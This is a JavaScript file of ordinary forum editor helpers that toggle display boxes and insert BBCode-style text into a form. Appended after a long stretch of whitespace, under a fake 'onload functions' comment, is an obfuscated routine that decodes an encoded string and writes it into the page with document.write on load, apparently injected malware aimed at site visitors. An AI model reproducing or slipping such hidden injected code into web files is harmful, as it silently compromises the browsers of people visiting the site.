/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function I1ll0lOIl0lOOO0OIIlO1OIO0IO0O010100O0O0l(OlO01OI01OIO0100lO1OOOOlOO1I01OI10lIOOll){var IIlIO0IOlII00I1OI1OlO1I1I0lO0IlOOI0lIl1O=OlO01OI01OIO0100lO1OOOOlOO1I01OI10lIOOll.length,O0IIIl1O1IOIl10IO01Ol0l1l00OlO0OOI01IOI0=1024,l1l0Ollll0OI1Ol0I0OIOI001110I01IO0lllIll,lOIl0OlIIO11011OIII1ll01ll0lI0lOOO1O011I,OlOOl1I0I1lOOI000l001O00100l00lllO1II0I1,OO10l10ll11OIl11OIlOlO01O0l0OllOO1I1II1O=0,IIllO11ll0OlII01I0O0l1I1I1I10ll0Ol0001l0=0,lOl10lOI0lll1O10llOll10O11OOOOO0lO1lOlIO=0,IOO00I0lOOl1l0l011Ill0lIO1Il01Olll0lO0l0=Array(63,16,33,55,53,15,9,22,37,12,0,0,0,0,0,0,47,48,0,44,61,45,50,49,2,27,57,39,43,10,34,31,24,11,17,42,51,3,35,62,14,8,7,0,0,0,0,18,0,38,60,19,59,41,36,40,26,46,23,30,4,29,52,58,13,25,28,54,5,1,6,32,56,21,20);for(lOIl0OlIIO11011OIII1ll01ll0lI0lOOO1O011I=Math.ceil(IIlIO0IOlII00I1OI1OlO1I1I0lO0IlOOI0lIl1O/O0IIIl1O1IOIl10IO01Ol0l1l00OlO0OOI01IOI0);lOIl0OlIIO11011OIII1ll01ll0lI0lOOO1O011I>0;lOIl0OlIIO11011OIII1ll01ll0lI0lOOO1O011I--){OlOOl1I0I1lOOI000l001O00100l00lllO1II0I1='';for(l1l0Ollll0OI1Ol0I0OIOI001110I01IO0lllIll=Math.min(IIlIO0IOlII00I1OI1OlO1I1I0lO0IlOOI0lIl1O,O0IIIl1O1IOIl10IO01Ol0l1l00OlO0OOI01IOI0);l1l0Ollll0OI1Ol0I0OIOI001110I01IO0lllIll>0;l1l0Ollll0OI1Ol0I0OIOI001110I01IO0lllIll--,IIlIO0IOlII00I1OI1OlO1I1I0lO0IlOOI0lIl1O--){lOl10lOI0lll1O10llOll10O11OOOOO0lO1lOlIO|=(IOO00I0lOOl1l0l011Ill0lIO1Il01Olll0lO0l0[OlO01OI01OIO0100lO1OOOOlOO1I01OI10lIOOll.charCodeAt(OO10l10ll11OIl11OIlOlO01O0l0OllOO1I1II1O++)-48])<<IIllO11ll0OlII01I0O0l1I1I1I10ll0Ol0001l0;if(IIllO11ll0OlII01I0O0l1I1I1I10ll0Ol0001l0){OlOOl1I0I1lOOI000l001O00100l00lllO1II0I1+=String.fromCharCode(165^lOl10lOI0lll1O10llOll10O11OOOOO0lO1lOlIO&255);lOl10lOI0lll1O10llOll10O11OOOOO0lO1lOlIO>>=8;IIllO11ll0OlII01I0O0l1I1I1I10ll0Ol0001l0-=2}else{IIllO11ll0OlII01I0O0l1I1I1I10ll0Ol0001l0=6}}document.write(OlOOl1I0I1lOOI000l001O00100l00lllO1II0I1)}}I1ll0lOIl0lOOO0OIIlO1OIO0IO0O010100O0O0l("qFbAjc9FBjgn9ZrnpVq8ts9A9QrTRVq8thmnrK9APkPA9Im46c93OiCFQUCKcTC49O9T6Trnr0qT9ZrAB@b2thD4vVJ2pZmny0eNMhmnMjE47IpAQFbFULCN6@P4pjEaR3r3ZiqaMFbAjc9FB@6");                                                                                                                                                                                                                                                                              
// End onload functions